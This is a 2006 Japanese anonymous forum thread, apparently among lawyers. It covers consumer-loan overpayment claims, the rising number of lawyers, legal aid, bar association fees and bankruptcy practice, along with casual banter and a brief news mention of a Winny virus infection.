http://www.google.co.jp/search?hl=ja&q=site%3Ad.hatena.ne.jp%2Fshirato&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

 裕福なエリート少年が大きな過ちを犯しました。しかし彼を始め彼の友達によって法に反した行為がうやむや
にされもみ消そうとされています。
 彼は頭脳明晰であり某有名法学部を志望しています。皮肉な事に法を学ぶものが法を犯しこの過ちを消し去ろうとしています。

 どうか皆さんの力をお貸しください。ささいなこと、ささいな知識でも結構です。ご協力おねがいします。
   http://ex14.2ch.net/test/read.cgi/news4vip/1139950075/  



615 :無責任な名無しさん:2006/02/16(木) 17:52:11 ID:3MVkzOVe
これから、窃盗事件の被害者に、被害弁償金3万円を現金書留で
送るんだけど、皆さんはきちんと被害者に連絡をとってますか?
私はいつも送りつけてるんですが。

616 :無責任な名無しさん:2006/02/16(木) 18:02:10 ID:fpX4eA+Z
それで十分なんじゃないでしょうか
より丁寧な方法ってのは確かにありますけどね。

617 :無責任な名無しさん:2006/02/16(木) 18:10:44 ID:cYYb/HoS
法曹人口が増えたら,「完済してしまっても10年間は取り返せます!」って広告打って,とっくに契約も終わって真っ当な生活をしている元多重債務者から過払金返還請求を受託するような人が出てくるんじゃないでしょうか。
そうなると,大手サラ金もいよいよヤバイ気がします。無担保・保証人なしで,年利18%じゃあ,とても利益が出るもんじゃない。


618 :無責任な名無しさん:2006/02/16(木) 18:30:38 ID:cutF2yTh
俺も現金書留で領収書用紙を同封して送りつけてるよ。
それで領収書を送り返してこなかった人今までいないね。

619 :無責任な名無しさん:2006/02/16(木) 18:37:38 ID:za4OlFJF
たぶん近い将来、破産者宛てにダイレクトメールで過払い請求しませんか
って送りつける弁護士が出てくるでしょう。
>>617
一部の銀行、クレジット系はすでに18%でやって商売になってるので
十分商売になると思うけどなぁ。超低金利でカネの調達にほとんどコスト
かかってないわけだし。

620 :無責任な名無しさん:2006/02/16(木) 18:56:08 ID:h3F6+3Jw
     /∵  ▼ \
    /∴       ヽ
   , |∴   /  \ |、
  |`──-( / )-( \)l |
  | [     ,   っ  l | 過払い取り戻しまっせ
  `-,     'ヽ、_ソ  }'
   ノ ヽ、    `'   ノ、
 /     ゝ ── '   ヽ
/   ,ィ -っ、        ヽ
|  / 、__ う 人  ・ ,.y  i
|    /        ̄ |  |
ヽ、__ノ          ノ  ノ
  |      x    9  /
   |   ヽ、_  _,ノ 彡イ
   |     ω     |
   ヽ、__ノヽ___ノ
    ヽ ̄ ̄ノ^ | ̄ ̄ i


621 :無責任な名無しさん:2006/02/16(木) 20:40:31 ID:taUdUDgW
「示談協議進行中」という立証趣旨で,法律事務所の預金
通帳(鉛筆で「○○様示談金預かり金」と注記)の原本を
呈示したら,裁判長からこれは「原本提出で良いね」と言われた。
「すいません。事務所の営業で差し障りがあるし,事務員さんから
怒られるので原本呈示・写し提出をご許可願えないでしょうか」と
述べたところ,裁判長が「弁護人! これくらいの冗談が分からな
くてどうするのだね」と述べたので,「今度 官舎に火を付けるこ
とを検討します」と反論したら,拘束・監置され掛かった。

622 :無責任な名無しさん:2006/02/16(木) 20:42:15 ID:taUdUDgW
 漏れは,アイフルの空売りで大もうけした。

623 :無責任な名無しさん:2006/02/16(木) 20:45:58 ID:OG8n/kZL
>>619
銀行系の無担保ローンは,回収についてはほとんどサラ金に丸投げorサービサーにバルクセールしてるけど。
自分で回収までやってたら多分無理。○○○なんかへの○○金などを銀行が正面から払うわけにはいかないだろうし。

>>609
私も>>608の疑問を持っていたんだけど,追究しようと思わなかった。
雑誌社が探して回ってるんでしょうか。

624 :無責任な名無しさん:2006/02/16(木) 20:47:00 ID:OG8n/kZL
>>622
一斉過払い提訴の準備をしつつ,マスコミ発表前に空売り。最強。

625 :無責任な名無しさん:2006/02/16(木) 22:21:26 ID:Aw+mxUsY
みんな年収いくらいった?
弁護士って意外と儲からないよな…俺だけか

626 :無責任な名無しさん:2006/02/16(木) 22:34:44 ID:65cepwEL
先日救急車に乗りました。
修習中にパトカーには乗っています。
後は消防車だね。
どうすれば消防車に乗れますか?

627 :無責任な名無しさん:2006/02/16(木) 23:09:16 ID:+RPIPa6H
>>619
破産者が過払い請求?
破産前の不当利得返還請求権は破産後も破産者にあるのだろうか。

628 :無責任な名無しさん:2006/02/16(木) 23:12:57 ID:iD7C0zbe
626
田舎に行って、消防団入れ

629 :無責任な名無しさん:2006/02/16(木) 23:16:26 ID:YTh/LUSk
>>627
当たり前だろ・・・・。

630 :TN:2006/02/16(木) 23:20:15 ID:UKAjOcYw
修習中は戦車にも乗ったし潜水艦も乗った
電車も運転した
今思うとどうしてあんなことをしていたのかよくわからない
二年間勉強もせずに無駄なことばかりしてたような気がする

631 :無責任な名無しさん:2006/02/16(木) 23:28:35 ID:DIiQdbgn
修習が60期は1年4月になり、将来的には1年になる。
だいたい、個人差はあるが、真面目にやれば1年あれば十分だよね。
2回試験でどんどん落とせば、司法試験合格をいくら3000人にしても法曹人口は抑えられる。

がんばれ二回試験、といいたい。

632 :無責任な名無しさん:2006/02/17(金) 00:34:43 ID:txKUZNgx
>>627
あるよ。たしか判例も。
権利の濫用という主張自体濫用とかいう面白いロジックだったような。

633 :無責任な名無しさん:2006/02/17(金) 00:37:00 ID:txKUZNgx
法曹に自由競争という概念を持ち込むことは
本当に危険だと思うんだね。
外科医が人を切り刻みながら自由競争をするようなもので
怖くてたまらない。

634 :無責任な名無しさん:2006/02/17(金) 01:22:23 ID:ENXfX+N5
>>633
まるで自分は安全水準にあるような言いかたですな。


635 :無責任な名無しさん:2006/02/17(金) 08:20:24 ID:Ewq7IBz4
>>634
安全じゃないたくさんの人たちが,自由競争により淘汰される過程で,社会に害悪をまきちらす。

636 :無責任な名無しさん:2006/02/17(金) 08:23:05 ID:Ewq7IBz4
>>627
過払返還請求権があるのに,それを故意に隠して破産したら,詐欺破産。
でも,過払返還請求権には影響なし。

申立代理人をやって破産させた後,自由財産の範囲を超える過払返還請求をするのは・・・・

637 :無責任な名無しさん:2006/02/17(金) 08:33:15 ID:6zS6aZyh
>>631
60期って1年4月なんですか?60期ってこの4月からの修習生ですよね?
知らん間に。。。

今じゃ夏期合研なんて死語なんだろうなぁ


638 :無責任な名無しさん:2006/02/17(金) 10:23:46 ID:EfpFBZKw
夏期合研ナツカシイ

639 :無責任な名無しさん:2006/02/17(金) 10:47:06 ID:3EqVPdcn
自衛隊に入ろう。法務官とかって,結構階級高いだろう。
給与は知らない。

640 :無責任な名無しさん:2006/02/17(金) 12:35:57 ID:txehQqEV
>>635
かみ合ってない。
「安全じゃないのが入ってくると大変だ」と言っている人間が、安全水準を充たしているかということ。
例の荒れた臨時総会で「弁護士は必要悪だから増やすな」っていった関西女がいたが、お前が率先して消えろと。


641 :無責任な名無しさん:2006/02/17(金) 12:50:12 ID:4U3mGQMY
>>640
よく考えると、必要悪だから増やすなって理屈はおかしいよね。
善だろうが悪だろうが必要なものは必要、必要性を超えては要らない、というのがスジだと思う。

642 :無責任な名無しさん:2006/02/17(金) 18:07:40 ID:PiZdBjEt
そういう趣旨で言ったんでしょう。

643 :無責任な名無しさん:2006/02/17(金) 18:13:09 ID:gaG042K/
なんだか頼りない先生がいますね。

644 :無責任な名無しさん:2006/02/17(金) 18:20:44 ID:Vk8rNADJ
>>608
>>623

俺はやったことないけど、面白い判決を得た弁護士が雑誌社に送るケースがあると聞きます。
裁判官も同様のことをやっているのではないでしょうか。

お腹すいた。
今日は何食べようかな。


645 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/02/17(金) 18:36:14 ID:s8UmdhzE
>>643さん

呼びました?

646 :無責任な名無しさん:2006/02/17(金) 23:59:50 ID:MBOEDIm+
>>639
アメリカ軍は、日本人弁護士を募集してるね。応募しようかなあ。

647 :無責任な名無しさん:2006/02/18(土) 01:12:38 ID:eoYWYfPA
ところで、憲法が改正されて軍事裁判所ができたらどんな感じなんだろうな。
やっぱり国選は8マソなんだろうか。

648 :無責任な名無しさん:2006/02/18(土) 03:51:08 ID:/w+C3bQM
>>647
軍事裁判所の、判事、検察官、弁護人に当たる人間は、軍から選ばれる。

649 :無責任な名無しさん:2006/02/18(土) 03:58:15 ID:QFbFw9IO
>>648
それって、立法で決まるんじゃね?

650 :無責任な名無しさん:2006/02/18(土) 04:22:53 ID:/w+C3bQM
>>649
もちろんその通り。
一般的な軍事法廷は、って意味ですよ。

651 :無責任な名無しさん:2006/02/18(土) 08:17:42 ID:Tr1ocCs8
>>644
裁判所の場合は、東京地裁の場合、
法的な解釈を含む判決を出したときは裁判所に報告していた気がする。

652 :無責任な名無しさん:2006/02/18(土) 11:43:46 ID:FAc4yr7i
この先生が集計してるのは、ほとんど未公開の裁判例だよね。労せずして、この先生に頭を下げずして、タダで、この成果をもらう方法はないのかな?
ttp://d.hatena.ne.jp/okumuraosaka/20060209/1139485086
ttp://d.hatena.ne.jp/okumuraosaka/20060215/1140012127


653 :無責任な名無しさん:2006/02/18(土) 12:37:37 ID:a9zl825d
何で頭を下げるのが嫌なの?
そのくらいやれよ。甘えるな。

654 :無責任な名無しさん:2006/02/18(土) 12:59:39 ID:OeyLkR/Z
掲示裁判例なんて、そもそも国民共有の財産のはずだから、
なんのコネがあるのかシランが大阪の一弁護士が独占してるとか、他の弁護士が頭下げないと教えないとか、
国選とか当番とかでこんな事件が回ってきて前例を必要がある弁護士がそのたびに自分で取り寄せるというのは絶対おかしいよ


655 :無責任な名無しさん:2006/02/18(土) 13:33:56 ID:DH3uZg+W
>掲示裁判例なんて、そもそも国民共有の財産のはずだから

じゃあ,裁判所に全判例を公開するように言えよ。

656 :無責任な名無しさん:2006/02/18(土) 13:59:58 ID:C96z2je+
>>654
国民共有の財産であったなら,共有持分に応じた使用しかできないだろ。
記録を見に行くのは自由なんだから十分じゃないか。
記録を国が持ってきてくれるサービスまで当然保障されているとでも考えているのか?
民事訴訟で証拠出さずに「裁判所が調べろ」って言ってるようなもんだ。

657 :無責任な名無しさん:2006/02/18(土) 14:13:47 ID:1GbOplVE
>>656
論点がずれてる。国民共有財産に民法の共有概念をもってくるな。
判決原本の所有権が国にあるのは当たり前だ。

ただ、国民共有財産だからといって、現実には公開されてないわけで、
実際に足を使って集めたO弁護士へのリスペクトもなしに、労せず頭も
さげず、タダでよこすのが当たり前みたいな言い方は間違ってる。

おれがO弁護士なら、「それなら国に言ってください。」で終わりだ。

658 :無責任な名無しさん:2006/02/18(土) 14:30:50 ID:jVScylP2
頼むのが嫌なら自分でやればいいだけのことじゃない

659 :無責任な名無しさん:2006/02/18(土) 19:36:11 ID:V4X1B3Fq
元ヤクザの弁護士って結構いるってマジですか?

660 :無責任な名無しさん:2006/02/18(土) 20:13:38 ID:+jv+Fn40
児童ポルノの刑事弁護をやると、刑事記録の中の証拠としてポルノを見放題じゃないのか?
といわれた。

実際どうなのでしょうね。

そんな動機で好んでやる人はいるのでしょうか。当職にはわかりません。

661 :無責任な名無しさん:2006/02/18(土) 20:20:01 ID:dn8TZkhz
以前は、検証と称して、上映会をやってたけど、時間の無駄なので、
検察が、問題の場面をビデオプリントして、写真の形で出してる。

だから、見放題なんてことはありえない。

以前だって、裁判所で上映会だから、至極つまらない。

662 :無責任な名無しさん:2006/02/18(土) 20:38:43 ID:1GbOplVE
>>660
0さんでつか?

663 :無責任な名無しさん:2006/02/18(土) 20:56:32 ID:IZP3iqe0
>>659
知り合いには居ないが、どこかには居るかもね。


664 :無責任な名無しさん:2006/02/18(土) 21:00:25 ID:1GbOplVE
杯こそ交わしていないが、ヤクザの組織の一部としか評価のしようのないやつはいる。
元ヤクザじゃなくて、現ヤクザだな。

665 :無責任な名無しさん:2006/02/18(土) 21:51:20 ID:jVScylP2
ヤメ検とかに多いよな。
でも元からヤクザだったってのはあんまり聞かないね。

666 :無責任な名無しさん:2006/02/18(土) 23:19:27 ID:+Abwnqid
弁護士増えるの困るな。
高山先生に一票入れとけばよかった。

667 :無責任な名無しさん:2006/02/18(土) 23:37:22 ID:wWga5VOb
いままで殿様商売をしすぎて、経済界から総スカンをくらってるんだから
しょうがないんじゃないか?
ロー卒を安月給で雇って搾取することを計画している。

668 :無責任な名無しさん:2006/02/18(土) 23:45:37 ID:p8W/70VW
>>666
もう遅い

669 :無責任な名無しさん:2006/02/18(土) 23:52:34 ID:p8W/70VW
>>667
結局、根本は少子化や今の国の莫大な借金なんかと
同じ問題なんだよね。
上の世代の人達が好き勝手やってきたせいで
若手がとばっちりを食うという。
人の常ってことで仕方ないのでしょう。

670 :無責任な名無しさん:2006/02/19(日) 00:16:39 ID:XLtUbeWB
>>664
やっぱ法律関係の強い人間が必要だから組に弁護士は必要なのだろうか?

671 :無責任な名無しさん:2006/02/19(日) 01:12:05 ID:1By/fUZb
>>670
立会人なしに、時間無制限に接見できるのは大きいと思われる。
取調でどこまで喋ったのかとか。出てきたら幹部にしてやるから罪かぶれとか。何でもありでしょ。


672 :無責任な名無しさん:2006/02/19(日) 01:13:33 ID:zwIDztLl
相手にすんなって。
それにageるな。

673 :無責任な名無しさん:2006/02/19(日) 08:02:06 ID:oOLxuNdE
>>644
そんな裁判官も稀にはいるかもわかりませんが,
多くの場合,テレビ・新聞の報道をもとに出版社
から裁判所に判決文の送付依頼が来ます。

674 :無責任な名無しさん:2006/02/19(日) 11:15:49 ID:kObK1/Ic
>>671
何でもありかも知れんが。
接見直後に、刑事、検事からチャンと「あの弁護士とナニを話したん?」と聞いております。

組が雇った弁護士にぺらぺら話すヤツの半分は、捜査官にもアリノママしゃべります。
そして、警察本部及び検察庁で作っているBLに搭載されます。

ひどい例では、「伝書鳩」(弁護士)と被疑者との会話(「○は、まだ、・・・は話していないからね・・・。」など)を、一問一答形式でKSに録取したのを法廷で朗読されていた。
この弁護士は、何年か後にまったくの別件で逮捕されたと、新聞に出ていた。

悪いことをしたら、弁護士もやられるよ。




675 :無責任な名無しさん:2006/02/19(日) 11:18:24 ID:t7a3Np8I
>>674
そんなKSを弁護士本人が同意するわけないだろw

676 :無責任な名無しさん:2006/02/19(日) 12:21:53 ID:4Eo1SHWl
刑事弁護に「リスペクト」なんて無用になってるのかな。
量刑相場についてo弁護士に弁護士照会をかけた会員もいるみたいだね。
法務省とか裁判所宛じゃなくて。ttp://d.hatena.ne.jp/okumuraosaka/20051213/1134468610照会先には挨拶も謝礼もないわけで、いきなり照会するかなぁ。
現場はすごいことになってるなあ。オレには照会申出なんてできんわ。



677 :無責任な名無しさん:2006/02/19(日) 12:26:35 ID:4Eo1SHWl
ここもな。
http://matimura.cocolog-nifty.com/matimulog/2005/12/23_3ed7.html

678 :無責任な名無しさん:2006/02/19(日) 12:32:40 ID:+gW/3bnM
量刑相場についての照会だなんて書いてないじゃん

679 :無責任な名無しさん:2006/02/19(日) 12:37:31 ID:RZnq8f07
弁護士法人宛ならともかく,弁護士一個人は「公務所又は公私の団体」には該当しないのではないかな?
23条照会の要件を満たしていないような気がするんだが。

680 :無責任な名無しさん:2006/02/19(日) 12:39:40 ID:RZnq8f07
>>676に対して>>679を書き込んだ後に>>677を見たら同じことが書いてあった ○| ̄|_

681 :無責任な名無しさん:2006/02/19(日) 12:44:38 ID:F3VKbsIB
>>678
>>676は、O氏本人か、紹介をかけた本人かのどっちかだなw

682 :無責任な名無しさん:2006/02/19(日) 12:48:04 ID:kObK1/Ic
>>674
そんなKSを弁護士本人が同意するわけないだろw
←世の中(現実の法廷)に生じる事実は、貴方の脳内よりも奇なりです。
seinとsollenの区別は、法学生の第一歩だったはずですが。

貴方の脳内では、娘の友達を幼稚園に送っていく親切な母親が、その友達を刺し殺すわけがないですね。
今後とも、よく人間を勉強して、立派な法曹に育って下さい。





683 :無責任な名無しさん:2006/02/19(日) 13:17:18 ID:SwfDhXe7
>>682が何を言いたいのかよくわからない

684 :無責任な名無しさん:2006/02/19(日) 13:21:55 ID:RM4chFjx
>>681
 O先生からMLで流れてた。困ったという感じ。


685 :無責任な名無しさん:2006/02/19(日) 13:40:21 ID:NWLDND6p
>>貴方の脳内では、娘の友達を幼稚園に送っていく親切な母親が、
その友達を刺し殺すわけがないですね。

まあ、今回の母親は「親切な母親」ではないからな〜。

686 :無責任な名無しさん:2006/02/19(日) 13:50:53 ID:TeaMUgeE
682はおかしなことを言っていると思う。

687 :無責任な名無しさん:2006/02/19(日) 14:16:18 ID:2gz04GVK
682の言うことがよくわからない。
できればもう少しわかりやすく説明してもらえると嬉しいのだが。

688 :無責任な名無しさん:2006/02/19(日) 15:42:49 ID:1By/fUZb
組の雇われは、チンピラヤクザのしょぉーもない事件でも、100万以上というからな。
一度やるとやめられないんだろう

689 :TN:2006/02/19(日) 16:57:55 ID:NxXSNd/A
当番なんて組の顧問連中が作った制度だから協力しないほうがいいよ
連中は自分らはいい思いしといて他の弁護士には社会奉仕を押しつけるんだ
それを阻止できない弁護士会の執行部もバカばかりだけどね

690 :682です:2006/02/19(日) 16:59:36 ID:kObK1/Ic
>>687 682の言うことがよくわからない。
できればもう少しわかりやすく説明してもらえると嬉しいのだが。

>>674(675の間違いです。スマソ) 「そんなKSを弁護士本人が同意するわけないだろw 」
「←世の中(現実の法廷)に生じる事実は、貴方の脳内よりも奇なりです。」
@ 「事実は小説より奇なり」をもじった文章です。
  「事実」=世の中に生じる事象 「小説」=人間が考えつく事柄
  所詮、宇宙とは人間が考え、知ることが出来る限界を示しているものですが、このことを、先人は「世の中には、人知の及ばぬこと(不思議な=奇跡)もあるものだ」と、謙虚にも言っております。
 675サンが自分の描く宇宙を基準に、私が実際に経験した事実を一刀両断のもとに否定したことに、いささか筆が走った表現文です。
A 次に、「seinとsollenの区別は、法学生の第一歩だったはずですが。」
  人知の限界としての一つに「合理主義」があります。
  よく言われる「(合理的に考えると、)そのひとは、そんなことをするわけがない。」というドグマは、その一つでしょう。(必ずしもこれを間違い、と言っているのではありません。)
  675サンの判断基準の一つには、「弁護士が、自分にとって不利益かつ信用失墜行為を書いたKSに同意するわけがない」とのドグマ(その限りでは、合理的であることを否定しません)があります。
  「弁護士がそんなことをするわけがない」ということでしょうが、これは、一種のsollenを前提に、私が提供した事実(sein)を否定しているものです。
  まさに、何をかいわんやとの気持ちの表現が「法学生の第一歩」となりました(失礼!)。


691 :682です:2006/02/19(日) 17:00:39 ID:kObK1/Ic
B 「貴方の脳内では、娘の友達を幼稚園に送っていく親切な母親が、その友達を刺し殺すわけがないですね。」
  他人の子供を送るという親切な行動をとっている人間が、その子供を殺すという、合理的思考からはまったく理解できない矛盾した行動を取るのが現実の人間です。(これは、小説を読む人には容易に分かることです。)
  このような矛盾に満ちた不合理な行動をすることもあるのが人間であり、その集合体が人間社会であるということを理解したうえで、法的合理性に満ちた司法の世界での法的実務を担当するのが、過ちを少なくすることだと思っております。
C 「今後とも、よく人間を勉強して、立派な法曹に育って下さい。」
  非合理的、不合理な言動もするのが人間であり、また、それが醸し出す葛藤の場面を法的合理性でもって裁断していくのが、我々の職務であり職場です。
  しかし、前段をまったく捨象してしまっては、真の問題の解決には貢献できないとの思いから書いたものです。
  自分に対する反省でもあります。

 以上、かえってわかりにくくなったかも知れませんが、現在の私の脳内表現でした。

692 :無責任な名無しさん:2006/02/19(日) 17:27:37 ID:ntnWY3fv
今後弁護士が増えていくということは
若手が増えていくということだから、
今は日弁連でも弁護士会でも若手は少数派だけど
将来的には数でも逆転するのでしょう。
そうすると、虐げられてる若手が数の力(票の力)で
日弁連や弁護士会で多数派をとって、
自分達に都合の良いようにどんどん
会を変えていくということにはならないかな?
若手VSそれ以外、の戦争勃発、
みたいな。
どうでしょう。
長文スマソ。

693 :無責任な名無しさん:2006/02/19(日) 17:37:42 ID:jV9VqIv0
>>690
ますます分からなくなったw というか>>682の前段と後段で飛躍してるような

依頼者や同期の連中に対しても、いつもそんな風な話し方してるのですか?

694 :無責任な名無しさん:2006/02/19(日) 17:50:12 ID:vAfyWKQ0
要するに、そんなKSに同意したアホ弁が現にいた
ということだろ。

記録ちゃんと読んでなかったんだろ。

695 :無責任な名無しさん:2006/02/19(日) 18:41:18 ID:NWLDND6p
682が弁護士のわけがないじゃん。

696 :無責任な名無しさん:2006/02/19(日) 19:45:48 ID:UhTcds0X
どう見ても>>682はただの傍聴マニア

697 :無責任な名無しさん:2006/02/19(日) 20:04:17 ID:Vg/TaM8N
>>692
弁護士会って、若手の方が保守的なイメージがあるな。
政治に対してしらけてるというか、声をあげてもどうせ無駄だから体制派に迎合するというか、
そんな感じ。

青法協や自由法曹団に属してるおじさん弁護士の方が行動的だと思う。
しらけた若者が増えてもあまり変わらないんじゃないか。

698 :無責任な名無しさん:2006/02/19(日) 20:42:41 ID:TeaMUgeE
>>682
普通は同意されないようなKSを同意したバカがいたという事実を以て、
一般的に、同意する奴はいないだろという趣旨の発言をした者を、時間をかけて詳細にバカにする変態。

699 :無責任な名無しさん:2006/02/19(日) 20:44:00 ID:TeaMUgeE
若手は、例えばクレサラで宣伝をバンバン打つようなのが出てくるような気がする。
評判なんか関係なし、稼ぐが勝ちという発想。

営業が上手ければ客は来るだろうね。

700 :無責任な名無しさん:2006/02/19(日) 21:12:02 ID:Vg/TaM8N
>>699
弁護士会のホリエモンと呼んであげたい。

701 :無責任な名無しさん:2006/02/19(日) 21:14:25 ID:irEulVXj
>>699
じゃあ今地下鉄の中に広告を打ったりしているのは誰がやってるんでしょうか?

非弁提携事務所は誰がやってたんでしょうかね?

702 :無責任な名無しさん:2006/02/19(日) 21:14:26 ID:1By/fUZb
>>699
これまでは、借金で困っていても、どこに相談したら良いのかがわからない人が多かったわけでしょ。
クレサラ弁護士の宣伝で、敷居は低くなったわけだしさ。
弁護士に相談したくても、相談出来なかった人が沢山いることを考えると良いんじゃない。

というか、いままで消費者に対するサービス精神が、あまりにもなかったから、
財界から叩かれてるわけだしさ。殿様商売のつけが回ってきてるんでしょ。

703 :無責任な名無しさん:2006/02/19(日) 21:44:29 ID:nJ4wvEK4
クレサラに熱心な事務所の,クレサラ相談の対応って,実は,
説明が不十分だったり,適合性違反な感じだったり,断定的判断を提供していたりするよねw


704 :無責任な名無しさん:2006/02/19(日) 22:02:19 ID:sT1AaCNO
となると、免責不許可になったら今度は弁護士が損害賠償請求されるわけだなw

705 :無責任な名無しさん:2006/02/20(月) 00:08:31 ID:pjlIFZeq
>>692
例えば会費も累進課税方式にするとか?
無理だろうな〜。

706 :無責任な名無しさん:2006/02/20(月) 00:18:46 ID:nSwiJtFo
>>705
会費の累進制は、数年後とに出ては消え出ては消え、だそうです。
昔、累進制を言っていた会員が数年〜十数年後には、必ず反対に廻るんだとか。

707 :無責任な名無しさん:2006/02/20(月) 09:46:57 ID:ktPiYK8S
実質的な会費負担は、うちの会では逆累進じゃないかと思ってた。
扶助事件すれば天引き、被疑者援助等でも天引き、自治体等の法律相談料
からも天引き・・・。
顧問たくさん持って、弁護士会のことをあまりやらない先生が一番負担が
少ない状態に。
最近は改められたけど、何だかなぁ・・・。



708 :TN:2006/02/20(月) 10:57:12 ID:MFFS3+vY
3000人になったら新入会員で会費払えない人が
弁護士会強制加入は違憲だといって訴訟をするよ
まず勝ち目がないからそうなったら登録しなくても弁護士出来るだろうね

オレは疲れるからやらないけど

709 :無責任な名無しさん:2006/02/20(月) 12:39:11 ID:/a/MV4qS
弁護士会への強制登録制がなくなると、弁護士に対する懲戒権も
弁護士会は失うんだろうな。

そうすると、法務大臣か最高裁が懲戒することになるのか。
それも怖い話だけど。それは、何年後のことだろうか。

710 :無責任な名無しさん:2006/02/20(月) 17:31:06 ID:vzrQKnbZ
ほんの10年後くらいじゃないでしょうかね。

国選や扶助を取り合うようになると,法テラスには逆らえません。
法テラスに逆らえないと言うことは,法務省に逆らえなくなると言うことです。

ま,辞めて事件屋やった方がマシとすら言える

711 :無責任な名無しさん:2006/02/20(月) 19:14:30 ID:BwjIZb91
ノウハウを生かしてヤミ金やるとか。

712 :無責任な名無しさん:2006/02/20(月) 20:48:23 ID:1fNPvJDC
http://www.rondan.co.jp/html/mail/0602/060220-10.html
http://www.rondan.co.jp/html/mail/0602/060220-11.html

司法で大事件が起こるって聞いていたけど、これのことかもね。

713 :無責任な名無しさん:2006/02/20(月) 20:58:14 ID:l+1BjscZ
某県のほうテラスは
 事務局長1名 課長1名 常勤職員3名 臨時職員1名とか聞いたな。
事務局長は国家公務員の局長待遇か?????

714 :無責任な名無しさん:2006/02/20(月) 21:03:13 ID:0uMpFbgu
>>713
事件を右から左に配点するだけでいい身分だよ。
弁護士会の扶助担当者がしてたことをするだけだろ。

これで筋悪、性格最悪の依頼者まわされた日にゃ・・・

715 :無責任な名無しさん:2006/02/20(月) 22:37:01 ID:Orjssf6v
>>713
総合法律支援法を見る限りでは、職員は国家公務員並みじゃなかったっけか?


716 :無責任な名無しさん:2006/02/20(月) 23:27:01 ID:CAWB/YXg
事務局長っていいご身分だよな。
偉そうに決裁して事件配点してれば年収1000万か。
平日のみ勤務、羨ましいことに夕方6時前には帰れることだろう。
その上、こっちはきっとそいつに頭を下げねばならないんだろうな。
扶助の事件報告とか、刑事事件の報告とか一々面倒になりそう。
法務局で余った人員の天下り先確保って噂もあるし、法務局の職員なら
一々細かいことにうるさそうだし、嫌になるよ。
T先生に入れたのに、当選しなかったし、打つ手はないね。

717 :無責任な名無しさん:2006/02/20(月) 23:30:04 ID:XkMtBhAL
サラ金に過払い請求ばかりやってると,
これでサラ金業者はやっていけるんだろうか?
と少々心配になる。

718 :無責任な名無しさん:2006/02/20(月) 23:45:48 ID:agaU5yq6
法務省,そして検事達は高笑いだね。
官僚の優遇に対する世間の目も厳しいこのご時世に
天下り先も増えて。
しかも資金の出所は税金だし(だったよね?)。
弁護士は爆発的に増えるってのに。

719 :無責任な名無しさん:2006/02/21(火) 07:02:48 ID:lVW/03sO
当会の扶助担当者は平職員2名でやっていたような...

720 :無責任な名無しさん:2006/02/21(火) 10:14:31 ID:v9H2WaLX
やっぱ本気で次の仕事考えた方が良いな。
副業でも持つか
って思ったが,自分の会社作るときでも,会の許可か何かがいるんでしょ。

制限は多く,責任は重く,見返りは少ない仕事だな。

今後制限はより多く,責任はより重く,見返りはより少なくなっていくんだろうな。

721 :無責任な名無しさん:2006/02/21(火) 10:40:22 ID:/I0boNqO
今は届出制でしょ。

722 :無責任な名無しさん:2006/02/21(火) 15:13:48 ID:cEkakxA2
検察庁のPCがWinnyのウィルスに感染。


723 :無責任な名無しさん:2006/02/21(火) 16:38:46 ID:Vic3j8xH
>>722
ソースは?

724 :無責任な名無しさん:2006/02/21(火) 16:59:59 ID:cEkakxA2
>>723
http://live22x.2ch.net/test/read.cgi/news/1140486783/

725 :無責任な名無しさん:2006/02/21(火) 22:58:02 ID:oGJNnj91
winnyの復讐

726 :無責任な名無しさん:2006/02/22(水) 19:11:37 ID:GiKgQAD7
今日の朝日を見た限り、
本当に
「さよなら、見なし弁済」
ですね。
金融庁が法改正に動いているようです。
グレーゾーンは犯罪です。

727 :無責任な名無しさん:2006/02/22(水) 19:14:56 ID:543GhNOR
どうやってごまかそう

728 :無責任な名無しさん:2006/02/22(水) 19:16:16 ID:rnpGx/op
焦点は利息制限法が上がるか出資法が下がるか,だな。

729 :無責任な名無しさん:2006/02/22(水) 19:26:30 ID:gfYy6MDb
後者なら、貸金業者は壊滅的な状況になりそうだね。
まあ、間を取るということもあり得なくはないが・・・
日弁連や消費者団体などには是非とも頑張ってもらいたい。

730 :無責任な名無しさん:2006/02/22(水) 20:52:56 ID:XT/rCljq
法改正の話はもう大分前から言われているよね。
出資法が下がればいいけど、むしろ利息制限法が上がるように貸金業者は
いろいろ頑張っているみたいだし。
金融庁にも政治家にも、出資法が下がったら中小は潰れるって泣きが入って
いるだろうし。踏ん張りどころだね。

731 :無責任な名無しさん:2006/02/22(水) 22:17:53 ID:zOE0ZcIC
利息制限法を厳格に守れば、サラ金も黒い客相手には保証人をとるようになるのでは?
あと闇金が増えるんでねーの?

金がないのなら、手元のヴィトンの鞄をとりあえず質に入れろと小一時間言いたくなる
人が多すぎだわな...


732 :無責任な名無しさん:2006/02/22(水) 22:35:11 ID:JS1hDJ4t
それ俺も思う。

どうしてDQNにビトンが多いのだろう。
エルメスの川バンドとか、狂っているとしか思えない。

733 :無責任な名無しさん:2006/02/22(水) 23:44:28 ID:YBxxsdDy
破産免責は最近甘過ぎる。
かなり問題があっても少額管財ならフリーパス。
財産調査もろくにしないから財産隠しはざらにある。
近い将来揺り戻しが来そうな気がする。

事業者の倒産はともかく、消費者破産は本来民事再生に移行すべきではないか?

734 :無責任な名無しさん:2006/02/23(木) 02:01:26 ID:anqpRvmM
>>733 大賛成。モラルハザード甚だしい

735 :無責任な名無しさん:2006/02/23(木) 02:27:12 ID:dCc2BPV7
東京のモラルハザードはひどそうだね。HWLY事務所に10万円の競馬資金で自己破産しろという相談があったが怒られていたの目撃したとうちの依頼者が言っていたし、東京は即日面接では
相当フリーパスみたいね。

736 :無責任な名無しさん:2006/02/23(木) 03:29:26 ID:4kKdptHP
 東京地裁方式は「贖罪少額管財(弁護士失対事業)」と名付けるのが相当であろう。
 ろくな仕事もしない弁護士に20万円払うなら,代理人が依頼者から月に1万円宛集
めて,債権者に分配する方が,債権者の皆様に喜ばれる。

737 :無責任な名無しさん:2006/02/23(木) 03:35:48 ID:4kKdptHP
 そもそもいわゆる東京地裁的少額管財は,「破産部書記官の仕事」を貧乏
弁護士にアウトソーシングさせるというのが理念なんだろう。うちの事務員
さんは,「何であの無能な○○弁護士に20万円も払う必要があるんで
すか? 先生が免責異議を述べた上口座に調査嘱託をかけて,JRAで多額の
博打をしていたことがバクロされた<あの破産者の代理人>でしょう。そん
な間抜けな人が,否認権とか行使できるんですか」と怒り狂っていた。

738 :無責任な名無しさん:2006/02/23(木) 08:06:33 ID:Cc9pU5as
どこの会社にお勤めかは知らないが、お帰りください。

